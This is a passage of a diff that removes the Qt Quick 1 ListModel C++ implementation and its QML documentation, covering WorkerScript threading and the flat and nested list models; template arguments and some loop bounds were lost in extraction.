permitted properties in the model. - - \section1 Using Threaded List Models with WorkerScript - - ListModel can be used together with WorkerScript access a list model - from multiple threads. This is useful if list modifications are - synchronous and take some time: the list operations can be moved to a - different thread to avoid blocking of the main GUI thread. - - Here is an example that uses WorkerScript to periodically append the - current time to a list model: - - \snippet examples/declarative/threading/threadedlistmodel/timedisplay.qml 0 - - The included file, \tt dataloader.js, looks like this: - - \snippet examples/declarative/threading/threadedlistmodel/dataloader.js 0 - - The timer in the main example sends messages to the worker script by calling - \l WorkerScript::sendMessage(). When this message is received, - \l{WorkerScript::onMessage}{WorkerScript.onMessage()} is invoked in \c dataloader.js, - which appends the current time to the list model. - - Note the call to sync() from the \l{WorkerScript::onMessage}{WorkerScript.onMessage()} - handler. You must call sync() or else the changes made to the list from the external - thread will not be reflected in the list model in the main thread. - - \section1 Restrictions - - If a list model is to be accessed from a WorkerScript, it cannot - contain list-type data. So, the following model cannot be used from a WorkerScript - because of the list contained in the "attributes" property: - - \code - ListModel { - id: fruitModel - ListElement { - name: "Apple" - cost: 2.45 - attributes: [ - ListElement { description: "Core" }, - ListElement { description: "Deciduous" } - ] - } - } - \endcode - - In addition, the WorkerScript cannot add list-type data to the model. - - \sa {qmlmodels}{Data Models}, {declarative/threading/threadedlistmodel}{Threaded ListModel example}, QtDeclarative -*/ - - -/* - A ListModel internally uses either a NestedListModel_1 or FlatListModel_1. - - A NestedListModel_1 can contain lists of ListElements (which - when retrieved from get() is accessible as a list model within the list - model) whereas a FlatListModel_1 cannot. - - ListModel uses a NestedListModel_1 to begin with, and if the model is later - used from a WorkerScript, it changes to use a FlatListModel_1 instead. This - is because ModelNode (which abstracts the nested list model data) needs - access to the declarative engine and script engine, which cannot be - safely used from outside of the main thread. -*/ - -QDeclarative1ListModel::QDeclarative1ListModel(QObject *parent) -: QListModelInterface(parent), m_agent(0), m_nested(new NestedListModel_1(this)), m_flat(0) -{ -} - -QDeclarative1ListModel::QDeclarative1ListModel(const QDeclarative1ListModel *orig, QDeclarative1ListModelWorkerAgent *parent) -: QListModelInterface(parent), m_agent(0), m_nested(0), m_flat(0) -{ - m_flat = new FlatListModel_1(this); - m_flat->m_parentAgent = parent; - - if (orig->m_flat) { - m_flat->m_roles = orig->m_flat->m_roles; - m_flat->m_strings = orig->m_flat->m_strings; - m_flat->m_values = orig->m_flat->m_values; - - m_flat->m_nodeData.reserve(m_flat->m_values.count()); - for (int i=0; im_values.count(); i++) - m_flat->m_nodeData << 0; - } -} - -QDeclarative1ListModel::~QDeclarative1ListModel() -{ - if (m_agent) - m_agent->release(); - - delete m_nested; - delete m_flat; -} - -bool QDeclarative1ListModel::flatten() -{ - if (m_flat) - return true; - - QList roles = m_nested->roles(); - - QList > values; - bool hasNested = false; - for (int i=0; icount(); i++) { - values.append(m_nested->data(i, roles, &hasNested)); - if (hasNested) - return false; - } - - FlatListModel_1 *flat = new FlatListModel_1(this); - flat->m_values = values; - - for (int i=0; itoString(roles[i]); - flat->m_roles.insert(roles[i], s); - flat->m_strings.insert(s, roles[i]); - } - - flat->m_nodeData.reserve(flat->m_values.count()); - for (int i=0; im_values.count(); i++) - flat->m_nodeData << 0; - - m_flat = flat; - delete m_nested; - m_nested = 0; - return true; -} - -bool QDeclarative1ListModel::inWorkerThread() const -{ - return m_flat && m_flat->m_parentAgent; -} - -QDeclarative1ListModelWorkerAgent *QDeclarative1ListModel::agent() -{ - if (m_agent) - return m_agent; - - if (!flatten()) { - qmlInfo(this) << "List contains list-type data and cannot be used from a worker script"; - return 0; - } - - m_agent = new QDeclarative1ListModelWorkerAgent(this); - return m_agent; -} - -QList QDeclarative1ListModel::roles() const -{ - return m_flat ? m_flat->roles() : m_nested->roles(); -} - -QString QDeclarative1ListModel::toString(int role) const -{ - return m_flat ? m_flat->toString(role) : m_nested->toString(role); -} - -QVariant QDeclarative1ListModel::data(int index, int role) const -{ - if (index >= count() || index < 0) - return QVariant(); - - return m_flat ? m_flat->data(index, role) : m_nested->data(index, role); -} - -/*! - \qmlproperty int QtQuick1::ListModel::count - The number of data entries in the model. -*/ -int QDeclarative1ListModel::count() const -{ - return m_flat ? m_flat->count() : m_nested->count(); -} - -/*! - \qmlmethod QtQuick1::ListModel::clear() - - Deletes all content from the model. - - \sa append() remove() -*/ -void QDeclarative1ListModel::clear() -{ - int cleared = count(); - if (m_flat) - m_flat->clear(); - else - m_nested->clear(); - - if (!inWorkerThread()) { - emit itemsRemoved(0, cleared); - emit countChanged(); - } -} - -QDeclarative1ListModel *ModelNode::model(const NestedListModel_1 *model) -{ - if (!modelCache) { - modelCache = new QDeclarative1ListModel; - QDeclarativeEngine::setContextForObject(modelCache,QDeclarativeEngine::contextForObject(model->m_listModel)); - modelCache->m_nested->_root = this; // ListModel defaults to nestable model - - for (int i=0; i(values.at(i)); - if (subNode) - subNode->m_model = modelCache->m_nested; - } - } - return modelCache; -} - -ModelObject_1 *ModelNode::object(const NestedListModel_1 *model) -{ - if (!objectCache) { - objectCache = new ModelObject_1(this, - const_cast(model), - QDeclarativeEnginePrivate::getScriptEngine(qmlEngine(model->m_listModel))); - QHash::iterator it; - for (it = properties.begin(); it != properties.end(); ++it) { - objectCache->setValue(it.key().toUtf8(), model->valueForNode(*it)); - } - objectCache->setNodeUpdatesEnabled(true); - } - return objectCache; -} - -/*! - \qmlmethod QtQuick1::ListModel::remove(int index) - - Deletes the content at \a index from the model. - - \sa clear() -*/ -void QDeclarative1ListModel::remove(int index) -{ - if (index < 0 || index >= count()) { - qmlInfo(this) << tr("remove: index %1 out of range").arg(index); - return; - } - - if (m_flat) - m_flat->remove(index); - else - m_nested->remove(index); - - if (!inWorkerThread()) { - emit itemsRemoved(index, 1); - emit countChanged(); - } -} - -/*! - \qmlmethod QtQuick1::ListModel::insert(int index, jsobject dict) - - Adds a new item to the list model at position \a index, with the - values in \a dict. - - \code - fruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) - \endcode - - The \a index must be to an existing item in the list, or one past - the end of the list (equivalent to append). - - \sa set() append() -*/ -void QDeclarative1ListModel::insert(int index, const QScriptValue& valuemap) -{ - if (!valuemap.isObject() || valuemap.isArray()) { - qmlInfo(this) << tr("insert: value is not an object"); - return; - } - - if (index < 0 || index > count()) { - qmlInfo(this) << tr("insert: index %1 out of range").arg(index); - return; - } - - bool ok = m_flat ? m_flat->insert(index, valuemap) : m_nested->insert(index, valuemap); - if (ok && !inWorkerThread()) { - emit itemsInserted(index, 1); - emit countChanged(); - } -} - -/*! - \qmlmethod QtQuick1::ListModel::move(int from, int to, int n) - - Moves \a n items \a from one position \a to another. - - The from and to ranges must exist; for example, to move the first 3 items - to the end of the list: - - \code - fruitModel.move(0, fruitModel.count - 3, 3) - \endcode - - \sa append() -*/ -void QDeclarative1ListModel::move(int from, int to, int n) -{ - if (n==0 || from==to) - return; - if (!canMove(from, to, n)) { - qmlInfo(this) << tr("move: out of range"); - return; - } - - int origfrom = from; - int origto = to; - int orign = n; - if (from > to) { - // Only move forwards - flip if backwards moving - int tfrom = from; - int tto = to; - from = tto; - to = tto+n; - n = tfrom-tto; - } - - if (m_flat) - m_flat->move(from, to, n); - else - m_nested->move(from, to, n); - - if (!inWorkerThread()) - emit itemsMoved(origfrom, origto, orign); -} - -/*! - \qmlmethod QtQuick1::ListModel::append(jsobject dict) - - Adds a new item to the end of the list model, with the - values in \a dict. - - \code - fruitModel.append({"cost": 5.95, "name":"Pizza"}) - \endcode - - \sa set() remove() -*/ -void QDeclarative1ListModel::append(const QScriptValue& valuemap) -{ - if (!valuemap.isObject() || valuemap.isArray()) { - qmlInfo(this) << tr("append: value is not an object"); - return; - } - - insert(count(), valuemap); -} - -/*! - \qmlmethod object QtQuick1::ListModel::get(int index) - - Returns the item at \a index in the list model. This allows the item - data to be accessed or modified from JavaScript: - - \code - Component.onCompleted: { - fruitModel.append({"cost": 5.95, "name":"Jackfruit"}); - console.log(fruitModel.get(0).cost); - fruitModel.get(0).cost = 10.95; - } - \endcode - - The \a index must be an element in the list. - - Note that properties of the returned object that are themselves objects - will also be models, and this get() method is used to access elements: - - \code - fruitModel.append(..., "attributes": - [{"name":"spikes","value":"7mm"}, - {"name":"color","value":"green"}]); - fruitModel.get(0).attributes.get(1).value; // == "green" - \endcode - - \warning The returned object is not guaranteed to remain valid. It - should not be used in \l{Property Binding}{property bindings}. - - \sa append() -*/ -QScriptValue QDeclarative1ListModel::get(int index) const -{ - // the internal flat/nested class checks for bad index - return m_flat ? m_flat->get(index) : m_nested->get(index); -} - -/*! - \qmlmethod QtQuick1::ListModel::set(int index, jsobject dict) - - Changes the item at \a index in the list model with the - values in \a dict. Properties not appearing in \a dict - are left unchanged. - - \code - fruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) - \endcode - - If \a index is equal to count() then a new item is appended to the - list. Otherwise, \a index must be an element in the list. - - \sa append() -*/ -void QDeclarative1ListModel::set(int index, const QScriptValue& valuemap) -{ - QList roles; - set(index, valuemap, &roles); - if (!roles.isEmpty() && !inWorkerThread()) - emit itemsChanged(index, 1, roles); -} - -void QDeclarative1ListModel::set(int index, const QScriptValue& valuemap, QList *roles) -{ - if (!valuemap.isObject() || valuemap.isArray()) { - qmlInfo(this) << tr("set: value is not an object"); - return; - } - if (index > count() || index < 0) { - qmlInfo(this) << tr("set: index %1 out of range").arg(index); - return; - } - - if (index == count()) { - append(valuemap); - } else { - if (m_flat) - m_flat->set(index, valuemap, roles); - else - m_nested->set(index, valuemap, roles); - } -} - -/*! - \qmlmethod QtQuick1::ListModel::setProperty(int index, string property, variant value) - - Changes the \a property of the item at \a index in the list model to \a value. - - \code - fruitModel.setProperty(3, "cost", 5.95) - \endcode - - The \a index must be an element in the list. - - \sa append() -*/ -void QDeclarative1ListModel::setProperty(int index, const QString& property, const QVariant& value) -{ - QList roles; - setProperty(index, property, value, &roles); - if (!roles.isEmpty() && !inWorkerThread()) - emit itemsChanged(index, 1, roles); -} - -void QDeclarative1ListModel::setProperty(int index, const QString& property, const QVariant& value, QList *roles) -{ - if (count() == 0 || index >= count() || index < 0) { - qmlInfo(this) << tr("set: index %1 out of range").arg(index); - return; - } - - if (m_flat) - m_flat->setProperty(index, property, value, roles); - else - m_nested->setProperty(index, property, value, roles); -} - -/*! - \qmlmethod QtQuick1::ListModel::sync() - - Writes any unsaved changes to the list model after it has been modified - from a worker script. -*/ -void QDeclarative1ListModel::sync() -{ - // This is just a dummy method to make it look like sync() exists in - // ListModel (and not just QDeclarative1ListModelWorkerAgent) and to let - // us document sync(). - qmlInfo(this) << "List sync() can only be called from a WorkerScript"; -} - -bool QDeclarative1ListModelParser::compileProperty(const QDeclarativeCustomParserProperty &prop, QList &instr, QByteArray &data) -{ - QList values = prop.assignedValues(); - for(int ii = 0; ii < values.count(); ++ii) { - const QVariant &value = values.at(ii); - - if(value.userType() == qMetaTypeId()) { - QDeclarativeCustomParserNode node = - qvariant_cast(value); - - if (node.name() != listElementTypeName) { - const QMetaObject *mo = resolveType(node.name()); - if (mo != &QDeclarative1ListElement::staticMetaObject) { - error(node, QDeclarative1ListModel::tr("ListElement: cannot contain nested elements")); - return false; - } - listElementTypeName = node.name(); // cache right name for next time - } - - { - ListInstruction li; - li.type = ListInstruction::Push; - li.dataIdx = -1; - instr << li; - } - - QList props = node.properties(); - for(int jj = 0; jj < props.count(); ++jj) { - const QDeclarativeCustomParserProperty &nodeProp = props.at(jj); - if (nodeProp.name().isEmpty()) { - error(nodeProp, QDeclarative1ListModel::tr("ListElement: cannot contain nested elements")); - return false; - } - if (nodeProp.name() == "id") { - error(nodeProp, QDeclarative1ListModel::tr("ListElement: cannot use reserved \"id\" property")); - return false; - } - - ListInstruction li; - int ref = data.count(); - data.append(nodeProp.name()); - data.append('\0'); - li.type = ListInstruction::Set; - li.dataIdx = ref; - instr << li; - - if(!compileProperty(nodeProp, instr, data)) - return false; - - li.type = ListInstruction::Pop; - li.dataIdx = -1; - instr << li; - } - - { - ListInstruction li; - li.type = ListInstruction::Pop; - li.dataIdx = -1; - instr << li; - } - - } else { - - QDeclarativeParser::Variant variant = - qvariant_cast(value); - - int ref = data.count(); - - QByteArray d; - d += char(variant.type()); // type tag - if (variant.isString()) { - d += variant.asString().toUtf8(); - } else if (variant.isNumber()) { - d += QByteArray::number(variant.asNumber(),'g',20); - } else if (variant.isBoolean()) { - d += char(variant.asBoolean()); - } else if (variant.isScript()) { - if (definesEmptyList(variant.asScript())) { - d[0] = char(QDeclarativeParser::Variant::Invalid); // marks empty list - } else { - QByteArray script = variant.asScript().toUtf8(); - int v = evaluateEnum(script); - if (v<0) { - if (script.startsWith("QT_TR_NOOP(\"") && script.endsWith("\")")) { - d[0] = char(QDeclarativeParser::Variant::String); - d += script.mid(12,script.length()-14); - } else { - error(prop, QDeclarative1ListModel::tr("ListElement: cannot use script for property value")); - return false; - } - } else { - d[0] = char(QDeclarativeParser::Variant::Number); - d += QByteArray::number(v); - } - } - } - d.append('\0'); - data.append(d); - - ListInstruction li; - li.type = ListInstruction::Value; - li.dataIdx = ref; - instr << li; - } - } - - return true; -} - -QByteArray QDeclarative1ListModelParser::compile(const QList &customProps) -{ - QList instr; - QByteArray data; - listElementTypeName = QByteArray(); // unknown - - for(int ii = 0; ii < customProps.count(); ++ii) { - const QDeclarativeCustomParserProperty &prop = customProps.at(ii); - if(!prop.name().isEmpty()) { // isn't default property - error(prop, QDeclarative1ListModel::tr("ListModel: undefined property '%1'").arg(QString::fromUtf8(prop.name()))); - return QByteArray(); - } - - if(!compileProperty(prop, instr, data)) { - return QByteArray(); - } - } - - int size = sizeof(ListModelData) + - instr.count() * sizeof(ListInstruction) + - data.count(); - - QByteArray rv; - rv.resize(size); - - ListModelData *lmd = (ListModelData *)rv.data(); - lmd->dataOffset = sizeof(ListModelData) + - instr.count() * sizeof(ListInstruction); - lmd->instrCount = instr.count(); - for (int ii = 0; ii < instr.count(); ++ii) - lmd->instructions()[ii] = instr.at(ii); - ::memcpy(rv.data() + lmd->dataOffset, data.constData(), data.count()); - - return rv; -} - -void QDeclarative1ListModelParser::setCustomData(QObject *obj, const QByteArray &d) -{ - QDeclarative1ListModel *rv = static_cast(obj); - - ModelNode *root = new ModelNode(rv->m_nested); - rv->m_nested->m_ownsRoot = true; - rv->m_nested->_root = root; - QStack nodes; - nodes << root; - - bool processingSet = false; - - const ListModelData *lmd = (const ListModelData *)d.constData(); - const char *data = ((const char *)lmd) + lmd->dataOffset; - - for (int ii = 0; ii < lmd->instrCount; ++ii) { - const ListInstruction &instr = lmd->instructions()[ii]; - - switch(instr.type) { - case ListInstruction::Push: - { - ModelNode *n = nodes.top(); - ModelNode *n2 = new ModelNode(rv->m_nested); - n->values << QVariant::fromValue(n2); - nodes.push(n2); - if (processingSet) - n->isArray = true; - } - break; - - case ListInstruction::Pop: - nodes.pop(); - break; - - case ListInstruction::Value: - { - ModelNode *n = nodes.top(); - switch (QDeclarativeParser::Variant::Type(data[instr.dataIdx])) { - case QDeclarativeParser::Variant::Invalid: - n->isArray = true; - break; - case QDeclarativeParser::Variant::Boolean: - n->values.append(bool(data[1 + instr.dataIdx])); - break; - case QDeclarativeParser::Variant::Number: - n->values.append(QByteArray(data + 1 + instr.dataIdx).toDouble()); - break; - case QDeclarativeParser::Variant::String: - n->values.append(QString::fromUtf8(data + 1 + instr.dataIdx)); - break; - default: - Q_ASSERT("Format error in ListInstruction"); - } - - processingSet = false; - } - break; - - case ListInstruction::Set: - { - ModelNode *n = nodes.top(); - ModelNode *n2 = new ModelNode(rv->m_nested); - n->properties.insert(QString::fromUtf8(data + instr.dataIdx), n2); - nodes.push(n2); - processingSet = true; - } - break; - } - } - - ModelNode *rootNode = rv->m_nested->_root; - for (int i=0; ivalues.count(); ++i) { - ModelNode *node = qvariant_cast(rootNode->values[i]); - node->listIndex = i; - node->updateListIndexes(); - } -} - -bool QDeclarative1ListModelParser::definesEmptyList(const QString &s) -{ - if (s.startsWith(QLatin1Char('[')) && s.endsWith(QLatin1Char(']'))) { - for (int i=1; i= 0 && index < m_values.count()); - if (m_values[index].contains(role)) - return m_values[index][role]; - return QVariant(); -} - -QList FlatListModel_1::roles() const -{ - return m_roles.keys(); -} - -QString FlatListModel_1::toString(int role) const -{ - if (m_roles.contains(role)) - return m_roles[role]; - return QString(); -} - -int FlatListModel_1::count() const -{ - return m_values.count(); -} - -void FlatListModel_1::clear() -{ - m_values.clear(); - - qDeleteAll(m_nodeData); - m_nodeData.clear(); -} - -void FlatListModel_1::remove(int index) -{ - m_values.removeAt(index); - removedNode(index); -} - -bool FlatListModel_1::insert(int index, const QScriptValue &value) -{ - Q_ASSERT(index >= 0 && index <= m_values.count()); - - QHash row; - if (!addValue(value, &row, 0)) - return false; - - m_values.insert(index, row); - insertedNode(index); - - return true; -} - -QScriptValue FlatListModel_1::get(int index) const -{ - QScriptEngine *scriptEngine = m_scriptEngine ? m_scriptEngine : QDeclarativeEnginePrivate::getScriptEngine(qmlEngine(m_listModel)); - - if (!scriptEngine) - return 0; - - if (index < 0 || index >= m_values.count()) - return scriptEngine->undefinedValue(); - - FlatListModel_1 *that = const_cast(this); - if (!m_scriptClass) - that->m_scriptClass = new FlatListScriptClass_1(that, scriptEngine); - - FlatNodeData_1 *data = m_nodeData.value(index); - if (!data) { - data = new FlatNodeData_1(index); - that->m_nodeData.replace(index, data); - } - - return QScriptDeclarativeClass::newObject(scriptEngine, m_scriptClass, new FlatNodeObjectData(data)); -} - -void FlatListModel_1::set(int index, const QScriptValue &value, QList *roles) -{ - Q_ASSERT(index >= 0 && index < m_values.count()); - - QHash row = m_values[index]; - if (addValue(value, &row, roles)) - m_values[index] = row; -} - -void FlatListModel_1::setProperty(int index, const QString& property, const QVariant& value, QList *roles) -{ - Q_ASSERT(index >= 0 && index < m_values.count()); - - QHash::Iterator iter = m_strings.find(property); - int role; - if (iter == m_strings.end()) { - role = m_roles.count(); - m_roles.insert(role, property); - m_strings.insert(property, role); - } else { - role = iter.value(); - } - - if (m_values[index][role] != value) { - roles->append(role); - m_values[index][role] = value; - } -} - -void FlatListModel_1::move(int from, int to, int n) -{ - qdeclarativelistmodel_move > >(from, to, n, &m_values); - moveNodes(from, to, n); -} - -bool FlatListModel_1::addValue(const QScriptValue &value, QHash *row, QList *roles) -{ - QScriptValueIterator it(value); - while (it.hasNext()) { - it.next(); - QScriptValue value = it.value(); - if (!value.isVariant() && !value.isRegExp() && !value.isDate() && value.isObject()) { - qmlInfo(m_listModel) << "Cannot add list-type data when modifying or after modification from a worker script"; - return false; - } - - QString name = it.name(); - QVariant v = it.value().toVariant(); - - QHash::Iterator iter = m_strings.find(name); - if (iter == m_strings.end()) { - int role = m_roles.count(); - m_roles.insert(role, name); - iter = m_strings.insert(name, role); - if (roles) - roles->append(role); - } else { - int role = iter.value(); - if (roles && row->contains(role) && row->value(role) != v) - roles->append(role); - } - row->insert(*iter, v); - } - return true; -} - -void FlatListModel_1::insertedNode(int index) -{ - if (index >= 0 && index <= m_values.count()) { - m_nodeData.insert(index, 0); - - for (int i=index + 1; iindex = i; - } - } -} - -void FlatListModel_1::removedNode(int index) -{ - if (index >= 0 && index < m_nodeData.count()) { - delete m_nodeData.takeAt(index); - - for (int i=index; iindex = i; - } - } -} - -void FlatListModel_1::moveNodes(int from, int to, int n) -{ - if (!m_listModel->canMove(from, to, n)) - return; - - qdeclarativelistmodel_move >(from, to, n, &m_nodeData); - - for (int i=from; iindex = i; - } -} - - - -FlatNodeData_1::~FlatNodeData_1() -{ - for (QSet::Iterator iter = objects.begin(); iter != objects.end(); ++iter) { - FlatNodeObjectData *data = *iter; - data->nodeData = 0; - } -} - -void FlatNodeData_1::addData(FlatNodeObjectData *data) -{ - objects.insert(data); -} - -void FlatNodeData_1::removeData(FlatNodeObjectData *data) -{ - objects.remove(data); -} - - -FlatListScriptClass_1::FlatListScriptClass_1(FlatListModel_1 *model, QScriptEngine *seng) - : QScriptDeclarativeClass(seng), - m_model(model) -{ -} - -QScriptDeclarativeClass::Value FlatListScriptClass_1::property(Object *obj, const Identifier &name) -{ - FlatNodeObjectData *objData = static_cast(obj); - if (!objData->nodeData) // item at this index has been deleted - return QScriptDeclarativeClass::Value(engine(), engine()->undefinedValue()); - - int index = objData->nodeData->index; - QString propName = toString(name); - int role = m_model->m_strings.value(propName, -1); - - if (role >= 0 && index >=0 ) { - const QHash &row = m_model->m_values[index]; - QScriptValue sv = engine()->toScriptValue(row[role]); - return QScriptDeclarativeClass::Value(engine(), sv); - } - - return QScriptDeclarativeClass::Value(engine(), engine()->undefinedValue()); -} - -void FlatListScriptClass_1::setProperty(Object *obj, const Identifier &name, const QScriptValue &value) -{ - if (!value.isVariant() && !value.isRegExp() && !value.isDate() && value.isObject()) { - qmlInfo(m_model->m_listModel) << "Cannot add list-type data when modifying or after modification from a worker script"; - return; - } - - FlatNodeObjectData *objData = static_cast(obj); - if (!objData->nodeData) // item at this index has been deleted - return; - - int index = objData->nodeData->index; - QString propName = toString(name); - - int role = m_model->m_strings.value(propName, -1); - if (role >= 0 && index >= 0) { - QHash &row = m_model->m_values[index]; - row[role] = value.toVariant(); - - QList roles; - roles << role; - if (m_model->m_parentAgent) { - // This is the list in the worker thread, so tell the agent to - // emit itemsChanged() later - m_model->m_parentAgent->changedData(index, 1, roles); - } else { - // This is the list in the main thread, so emit itemsChanged() - emit m_model->m_listModel->itemsChanged(index, 1, roles); - } - } -} - -QScriptClass::QueryFlags FlatListScriptClass_1::queryProperty(Object *, const Identifier &, QScriptClass::QueryFlags) -{ - return (QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess); -} - -bool FlatListScriptClass_1::compare(Object *obj1, Object *obj2) -{ - FlatNodeObjectData *data1 = static_cast(obj1); - FlatNodeObjectData *data2 = static_cast(obj2); - - if (!data1->nodeData || !data2->nodeData) - return false; - - return data1->nodeData->index == data2->nodeData->index; -} - - - -NestedListModel_1::NestedListModel_1(QDeclarative1ListModel *base) - : _root(0), m_ownsRoot(false), m_listModel(base), _rolesOk(false) -{ -} - -NestedListModel_1::~NestedListModel_1() -{ - if (m_ownsRoot) - delete _root; -} - -QVariant NestedListModel_1::valueForNode(ModelNode *node, bool *hasNested) const -{ - QObject *rv = 0; - if (hasNested) - *hasNested = false; - - if (node->isArray) { - // List - rv = node->model(this); - if (hasNested) - *hasNested = true; - } else { - if (!node->properties.isEmpty()) { - // Object - rv = node->object(this); - } else if (node->values.count() == 0) { - // Invalid - return QVariant(); - } else if (node->values.count() == 1) { - // Value - QVariant &var = node->values[0]; - ModelNode *valueNode = qvariant_cast(var); - if (valueNode) { - if (!valueNode->properties.isEmpty()) - rv = valueNode->object(this); - else - rv = valueNode->model(this); - } else { - return var; - } - } - } - - if (rv) { - return QVariant::fromValue(rv); - } else { - return QVariant(); - } -} - -QHash NestedListModel_1::data(int index, const QList &roles, bool *hasNested) const -{ - Q_ASSERT(_root && index >= 0 && index < _root->values.count()); - checkRoles(); - QHash rv; - - ModelNode *node = qvariant_cast(_root->values.at(index)); - if (!node) - return rv; - - for (int ii = 0; ii < roles.count(); ++ii) { - const QString &roleString = roleStrings.at(roles.at(ii)); - - QHash::ConstIterator iter = node->properties.find(roleString); - if (iter != node->properties.end()) { - ModelNode *row = *iter; - rv.insert(roles.at(ii), valueForNode(row, hasNested)); - } - } - - return rv; -} - -QVariant NestedListModel_1::data(int index, int role) const -{ - Q_ASSERT(_root && index >= 0 && index < _root->values.count()); - checkRoles(); - QVariant rv; - if (roleStrings.count() < role) - return rv; - - ModelNode *node = qvariant_cast(_root->values.at(index)); - if (!node) - return rv; - - const QString &roleString = roleStrings.at(role); - - QHash::ConstIterator iter = node->properties.find(roleString); - if (iter != node->properties.end()) { - ModelNode *row = *iter; - rv = valueForNode(row); - } - - return rv; -} - -int NestedListModel_1::count() const -{ - if (!_root) return 0; - return _root->values.count(); -} - -void NestedListModel_1::clear() -{ - if (_root) - _root->clear(); -} - -void NestedListModel_1::remove(int index) -{ - if (!_root) - return; - ModelNode *node = qvariant_cast(_root->values.at(index)); - _root->values.removeAt(index); - if (node) - delete node; -} - -bool NestedListModel_1::insert(int index, const QScriptValue& valuemap) -{ - if (!_root) { - _root = new ModelNode(this); - m_ownsRoot = true; - } - - ModelNode *mn = new ModelNode(this); - mn->listIndex = index; - mn->setObjectValue(valuemap); - _root->values.insert(index,QVariant::fromValue(mn)); - return true; -} - -void NestedListModel_1::move(int from, int to, int n) -{ - if (!_root) - return; - qdeclarativelistmodel_move(from, to, n, &_root->values); -} - -QScriptValue NestedListModel_1::get(int index) const -{ - QDeclarativeEngine *eng = qmlEngine(m_listModel); - if (!eng) - return 0; - - if (index < 0 || index >= count()) { - QScriptEngine *seng = QDeclarativeEnginePrivate::getScriptEngine(eng); - if (seng) - return seng->undefinedValue(); - return 0; - } - - ModelNode *node = qvariant_cast(_root->values.at(index)); - if (!node) - return 0; - - return QDeclarativeEnginePrivate::qmlScriptObject(node->object(this), eng); -} - -void NestedListModel_1::set(int index, const QScriptValue& valuemap, QList *roles) -{ - Q_ASSERT(index >=0 && index < count()); - - ModelNode *node = qvariant_cast(_root->values.at(index)); - bool emitItemsChanged = node->setObjectValue(valuemap); - if (!emitItemsChanged) - return; - - QScriptValueIterator it(valuemap); - while (it.hasNext()) { - it.next(); - int r = roleStrings.indexOf(it.name()); - if (r < 0) { - r = roleStrings.count(); - roleStrings << it.name(); - } - roles->append(r); - } -} - -void NestedListModel_1::setProperty(int index, const QString& property, const QVariant& value, QList *roles) -{ - Q_ASSERT(index >=0 && index < count()); - - ModelNode *node = qvariant_cast(_root->values.at(index)); - bool emitItemsChanged = node->setProperty(property, value); - if (!emitItemsChanged) - return; - - int r = roleStrings.indexOf(property); - if (r < 0) { - r = roleStrings.count(); - roleStrings << property; - } - roles->append(r); -} - -void NestedListModel_1::checkRoles() const -{ - if (_rolesOk || !_root) - return; - - for (int i = 0; i<_root->values.count(); ++i) { - ModelNode *node = qvariant_cast(_root->values.at(i)); - if (node) { - foreach (const QString &role, node->properties.keys()) { - if (!roleStrings.contains(role)) - roleStrings.append(role); - } - } - } - - _rolesOk = true; -} - -QList NestedListModel_1::roles() const -{ - checkRoles(); - QList rv; - for (int ii = 0; ii < roleStrings.count(); ++ii) - rv << ii; - return rv; -} - -QString NestedListModel_1::toString(int role) const -{ - checkRoles(); - if (role < roleStrings.count()) - return roleStrings.at(role); - else - return QString(); -} - - -ModelNode::ModelNode(NestedListModel_1 *model) -: modelCache(0), objectCache(0), isArray(false), m_model(model), listIndex(-1) -{ -} - -ModelNode::~ModelNode() -{ - clear(); - if (modelCache) { modelCache->m_nested->_root = 0/* ==this */; delete modelCache; modelCache = 0; } - if (objectCache) { delete objectCache; objectCache = 0; } -} - -void ModelNode::clear() -{ - ModelNode *node; - for (int ii = 0; ii < values.count(); ++ii) { - node = qvariant_cast(values.at(ii)); - if (node) { delete node; node = 0; } - } - values.clear(); - - qDeleteAll(properties.values()); - properties.clear(); -} - -bool ModelNode::setObjectValue(const QScriptValue& valuemap, bool writeToCache) -{ - bool emitItemsChanged = false; - - QScriptValueIterator it(valuemap); - while (it.hasNext()) { - it.next(); - ModelNode *prev = properties.value(it.name()); - ModelNode *value = new ModelNode(m_model); - QScriptValue v = it.value(); - - if (v.isArray()) { - value->isArray = true; - value->setListValue(v); - if (writeToCache && objectCache) - objectCache->setValue(it.name().toUtf8(), QVariant::fromValue(value->model(m_model))); - emitItemsChanged = true; // for now, too inefficient to check whether list and sublists have changed - } else { - value->values << v.toVariant(); - if (writeToCache && objectCache) - objectCache->setValue(it.name().toUtf8(), value->values.last()); - if (!emitItemsChanged && prev && prev->values.count() == 1 - && prev->values[0] != value->values.last()) { - emitItemsChanged = true; - } - } - if (properties.contains(it.name())) - delete properties[it.name()]; - properties.insert(it.name(), value); - } - return emitItemsChanged; -} - -void ModelNode::setListValue(const QScriptValue& valuelist) { - values.clear(); - int size = valuelist.property(QLatin1String("length")).toInt32(); - for (int i=0; iisArray = true; - value->setListValue(v); - } else if (v.isObject()) { - value->listIndex = i; - value->setObjectValue(v); - } else { - value->listIndex = i; - value->values << v.toVariant(); - } - values.append(QVariant::fromValue(value)); - } -} - -bool ModelNode::setProperty(const QString& prop, const QVariant& val) { - QHash::const_iterator it = properties.find(prop); - bool emitItemsChanged = false; - if (it != properties.end()) { - if (val != (*it)->values[0]) - emitItemsChanged = true; - (*it)->values[0] = val; - } else { - ModelNode *n = new ModelNode(m_model); - n->values << val; - properties.insert(prop,n); - } - if (objectCache) - objectCache->setValue(prop.toUtf8(), val); - return emitItemsChanged; -} - -void ModelNode::updateListIndexes() -{ - for (QHash::ConstIterator iter = properties.begin(); iter != properties.end(); ++iter) { - ModelNode *node = iter.value(); - if (node->isArray) { - for (int i=0; ivalues.count(); ++i) { - ModelNode *subNode = qvariant_cast(node->values.at(i)); - if (subNode) - subNode->listIndex = i; - } - } - node->updateListIndexes(); - } -} - -/* - Need to call this to emit itemsChanged() for modifications outside of set() - and setProperty(), i.e. if an item returned from get() is modified -*/ -void ModelNode::changedProperty(const QString &name) const -{ - if (listIndex < 0) - return; - - m_model->checkRoles(); - QList roles; - int role = m_model->roleStrings.indexOf(name); - if (role < 0) - roles = m_model->roles(); - else - roles << role; - emit m_model->m_listModel->itemsChanged(listIndex, 1, roles); -} - -void ModelNode::dump(ModelNode *node, int ind) -{ - QByteArray indentBa(ind * 4, ' '); - const char *indent = indentBa.constData(); - - for (int ii = 0; ii < node->values.count(); ++ii) { - ModelNode *subNode = qvariant_cast(node->values.at(ii)); - if (subNode) { - qWarning().nospace() << indent << "Sub-node " << ii; - dump(subNode, ind + 1); - } else { - qWarning().nospace() << indent << "Sub-node " << ii << ": " << 